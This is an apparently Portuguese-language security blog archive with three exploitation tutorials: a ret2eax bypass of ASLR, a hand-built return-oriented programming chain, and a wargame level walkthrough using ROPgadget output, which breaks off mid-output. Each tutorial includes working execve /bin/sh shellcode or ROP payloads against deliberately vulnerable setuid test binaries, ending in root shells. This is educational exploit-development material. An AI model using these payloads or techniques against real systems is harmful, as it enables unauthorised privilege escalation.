m0nad's Blog

Just another WordPress.com site

Archive for the ‘Assembly’ Category

Passando por ASLR com ret2eax

with 2 comments

Passando por ASLR com ret2eax

1) Introdução
2) Ambiente
3) Código
4) Verificando a viabilidade da exploração
5) Exploração
6) Binário
7) Contato
8) Referências

1) Introdução

Neste artigo mostrarei  como utilizar a técnica conhecida como ret2reg(return to register) para dar bypass em Address Space Layout Randomization(ASLR)[1], com exceção do Position-Independent Executable(PIE)[2], este tipo de técnica se baseia em como a stack funciona, chamada de ‘stack juggling methods'[3].
O problema na exploração de stack-based buffer overflows com ASLR é que o endereço do nosso shellcode estará cada vez em um lugar diferente, devido a pseudo-aleatoriedade da stack, a ideia por traz do ret2reg é utilizar um endereço não-aleatório da área de ‘text’ por exemplo, que contenha um jmp ou call para para um registrador que esteja apontando para o nosso shellcode, ou seja, o atacante não precisa saber o endereço da onde esta o shellcode, mas se utiliza de um registrador que estará apontando para o mesmo.
A técnica que irei demonstrar é conhecida como ret2eax, ou seja, vamos ver um caso aonde o registrador eax estará apontando para o nosso shellcode, e iremos procurar um jmp ou call para eax, sobrescrevendo o endereço de retorno salvo na pilha por este endereço.
2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.


m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #56-Ubuntu SMP Tue Feb 14 12:40:40 UTC 2012 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

As proteções do sistema operacional podem ser encontradas no wiki do ubuntu[4]
3) Código

Para a realização do ret2eax precisamos que o eax aponte para o shellcode, como sabemos que o valor de retorno fica em eax, e que a função strcpy retorna o endereço para o buffer, basta que a função que chamou o strcpy não coloque nenhum outro valor em eax, mantendo assim o endereço de eax para o buffer, que estará o nosso shellcode.
Vejamos o código:


m0nad@m0nad-notebook:~$ cat ret2eax.c
#include <string.h>
void
main(int argc, char ** argv)
{
 char buf[256];
 strcpy(buf, argv[1]);
}

Vemos que a função main não retorna nada (ou seja, não irá alterar o valor de eax), isso fará com que o eax continue com o endereço do nosso buffer, ou seja com o endereço da onde estará o nosso shellcode.

Compilei o código sem Smash The Stack Protector(Propolice) utilizando a opção do gcc -fno-stack-protector, alem de permitir execução na stack, para que nosso shellcode possa ser executado, com o a opção do gcc -z execstack.


m0nad@m0nad-notebook:~$ gcc -o ret2eax ret2eax.c -fno-stack-protector -z execstack

Utilizando o checksec.sh[5] verificamos as proteções ativas do binário.


m0nad@m0nad-notebook:~$ bash checksec.sh --file ret2eax
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ret2eax

Podemos ver que o binário esta com RELRO parcial, sem SSP, sem Non eXecute ativado, sem PIE, sem relative path ou runpath.

Verificamos também que o ASLR esta ativo no kernel.


m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

4) Verificando a viabilidade da exploração

Após compilar, vamos tentar controlar o eip dentro do depurador gdb.


(gdb) r `perl -e 'print "A" x 268 . "B" x 4'`
Starting program: /home/m0nad/ret2eax `perl -e 'print "A" x 268 . "B" x 4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Sucesso! controlamos o eip, vamos verificar se o eax esta apontando para o nosso buffer.


(gdb) i r $eax
eax 0xbffff100 -1073745664
(gdb) x/s 0xbffff100
0xbffff100: 'A' <repete 200 vezes>...
(gdb)

Podemos ver que o eax esta apontando para o nossos ‘A’s, vamos então procurar se existe algum call para o eax.


m0nad@m0nad-notebook:~$ objdump -D ret2eax | grep -E 'call\s*\*%eax'
 80483bf: ff d0 call *%eax
 804847b: ff d0 call *%eax
m0nad@m0nad-notebook:~$

Encontramos, basta então colocarmos o shellcode seguido de algum lixo para encher o resto do buffer, e no final o endereço para o call eax, ficando algo como:


[shellcode][lixo][&call eax]

5) Exploração

Vamos a exploração, para fins de demonstração vamos setar o binário para suid root.


m0nad@m0nad-notebook:~$ sudo chown root:root ret2eax
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s ret2eax

O shellcode utilizado foi um simples execve para um /bin/sh, para aprender a construir o seu veja o meu artigo[6], utilizei nops para encher o buffer, seguido do endereço do call eax.


m0nad@m0nad-notebook:~$ ./ret2eax `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "\x90" x 243 . "\xbf\x83\x04\x08"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

r00t!

6) Binário

O binário utilizado pode ser encontrado no meu github[7]

7) Contato

Victor Ramos Mello (m0nad)
victornrm at gmail.com | m0nad at email.com
m0nadlabs.wordpress.com
@m0nadlabs
8) Referências

[1] https://en.wikipedia.org/wiki/Address_space_layout_randomization
[2] https://en.wikipedia.org/wiki/Position-independent_code
[3] http://events.ccc.de/congress/2005/fahrplan/attachments/539-Paper_AdvancedBufferOverflowMethods.pdf
[4] https://wiki.ubuntu.com/Security/Features
[5] http://www.trapkit.de/tools/checksec.html
[6] https://raw.github.com/m0nad/Papers/master/ConstruindoShellcodes.txt
[7] https://github.com/m0nad/Papers/tree/master/ret2eax/bin

Anúncios

Written by m0nad

março 9, 2012 at 12:44 pm

Publicado em Assembly, C, Segurança

Return-Oriented Programming na unha!

with 4 comments

Return-Oriented Programming na unha!

1) Introdução
2) Ambiente
3) Código
4) Payload
5) Exploit
6) Binário
7) Referências

1) Introdução

Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection(NX, DEP, W^X)[2].

Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário.

2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.


m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

As proteções do sistema operacional pode ser encontrada no wiki do ubuntu[5]

Podemos ver que o ASLR está ativo.

m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

3) Código

O código foi um stack-based buffer overflows clássico:


m0nad@m0nad-notebook:~$ cat vuln.c

#include <string.h>
int
main(int argc, char ** argv)
{
 char buffer[256];
 if (argc < 2)
  return 1;
 strcpy(buffer, argv[1]);
 return 0;
}

Compilei sem Smash the Stack Protection(SSP – Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets.


m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra

Rodamos o checksec.sh[7] para verificar as proteções no binário.


m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln
m0nad@m0nad-notebook:~$

Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath.

4) Payload

A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço:


m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22
[22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32
m0nad@m0nad-notebook:~$

Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para ‘disassemblar’, e o grep, para achar expressões regulares das instruções.

Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
 8053ed6: 59 pop %ecx
 8053ed7: 5b pop %ebx
 8053ed8: c3 ret
--
--
 80cae04: 59 pop %ecx
 80cae05: c3 ret
m0nad@m0nad-notebook:~$

Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2
 8053eac: 5a pop %edx
 8053ead: c3 ret
m0nad@m0nad-notebook:~$

Certo, um pop %eax | ret seria bom:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2
 80cc415: 58 pop %eax
 80cc416: 03 0a add (%edx),%ecx
 80cc418: c3 ret
m0nad@m0nad-notebook:~$

Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1
 80770ac: 89 d0 mov %edx,%eax
 80770ae: f3 c3 repz ret
--
 80aa9a7: 89 d0 mov %edx,%eax
 80aa9a9: c3 ret
m0nad@m0nad-notebook:~$

Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, podemos então colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta area de memoria, para isso precisamos de mov de algum registrador que controlamos para alguma área de memoria:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1
 8080391: 89 02 mov %eax,(%edx)
 8080393: c3 ret
m0nad@m0nad-notebook:~$

Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null-byte na pilha.


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1
 8051be1: 31 c0 xor %eax,%eax
 8051be3: c3 ret
--
 8051c00: 31 c0 xor %eax,%eax
 8051c02: c3 ret
--
 806d2f4: 31 c0 xor %eax,%eax
 806d2f6: c3 ret
--
 8070f9a: 31 c0 xor %eax,%eax
 8070f9c: c3 ret
--
 8071140: 31 c0 xor %eax,%eax
 8071142: c3 ret
--
 809d40f: 31 c0 xor %eax,%eax
 809d411: c3 ret
m0nad@m0nad-notebook:~$

Temos de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1
 806d84f: 40 inc %eax
 806d850: c3 ret
--
 80c9dc3: 40 inc %eax
 80c9dc4: c3 ret
--
 80cbd20: 40 inc %eax
 80cbd21: ca fa ff lret $0xfffa
--
 80cefab: ff c0 inc %eax
 80cefad: cf iret
m0nad@m0nad-notebook:~$

Temos alguns, e é claro, precisamos de um int $0x80 para chamar o kernel para executar a nossa syscall:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80'
 80487bf: cd 80 int $0x80
 8052f2c: cd 80 int $0x80
 8053fa8: cd 80 int $0x80
 80545f0: cd 80 int $0x80
 8077023: cd 80 int $0x80
 807a5c8: cd 80 int $0x80
 808b355: cd 80 int $0x80
 808b35e: cd 80 int $0x80
m0nad@m0nad-notebook:~$

Pronto, com esses gadgets é possível chamar um execve(“/bin//sh”, NULL, NULL).

5) Exploit

O exploit basta usar os gadgets encontrados, primeiro colocamos a string “/bin” em eax.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin

Depois jogamos a string para .data.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#data = /bin

Fazemos o mesmo para colocar “//sh” em .data + 4.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8.


$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0x80 | ret.


$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Vamos ao exploit completo!


#!/usr/bin/perl

use strict;

my $p = "a" x 268;

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Para a exploração vamos colocar em suid root para fins de demonstração:


m0nad@m0nad-notebook:~$ sudo chown root:root vuln
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s vuln

E finalmente a exploitação:


m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)"
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

r00t!

6) Binário

O binário e exploit utilizados podem ser encontrado no meu github[8]

7) Referências

[1] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html
[2] http://en.wikipedia.org/wiki/Executable_space_protection
[3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[4] http://shell-storm.org/project/ROPgadget/
[5] https://wiki.ubuntu.com/Security/Features
[6] http://en.wikipedia.org/wiki/Stack-smashing_protection
[7] http://www.trapkit.de/tools/checksec.html
[8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin

Written by m0nad

janeiro 23, 2012 at 11:02 pm

Publicado em Assembly, C, Segurança

Nuit du Hack Level10 – Return-Oriented Programming

with 4 comments

Ultimo level desse wargame 😀

Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.

Mas entendendo o conceito vou tentar passar aqui para vocês.

O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.

Ao rodar o ROPgadget, temos o seguinte output


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]

Options:
 -file Load file
 -g Search gadgets and make payload
 -elfheader Display ELF Header
 -progheader Display Program Header
 -sectheader Display Section Header
 -symtab Display Symbols Table
 -allheader Display ELF/Program/Section/Symbols Header
 -v Version

Flags:
 -bind Set this flag for make a bind shellcode (optional) (Default local exploit)
 -port <port> Set a listen port, optional (Default 1337)
 -importsc <shellcode> Make payload and convert your shellcode in ROP payload
 -filter <word> Word filter (research slowed)
 -only <keyword> Keyword research (research slowed)
 -opcode <opcode> Search a specific opcode on exec segment
 -string <string> Search a specific hard string on read segment ('?' any char)
 -asm <instructions> Search a specific instructions on exec segment
 -limit <value> Limit the display of gadgets
 -map <start-end> Search gadgets on exec segment between two address

Ex:
 ./ROPgadget -file ./smashme.bin -g -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
 ./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
 ./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
 ./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
 ./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
 ./ROPgadget -file ./smashme.bin -g -string "main"
 ./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Rodando no binário, ele gera um payload automaticamente.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret

Unique gadgets found: 134

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x080c6001 => .data Addr
 Payload
 # execve /bin/sh generated by RopGadget v3.3
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "/bin"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6005) # @ .data + 4
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "//sh"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x08048260) # int $0x80
 EOF Payload
[-] Combo 1 was not found, missing instruction(s).
 - .......... => sysenter
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
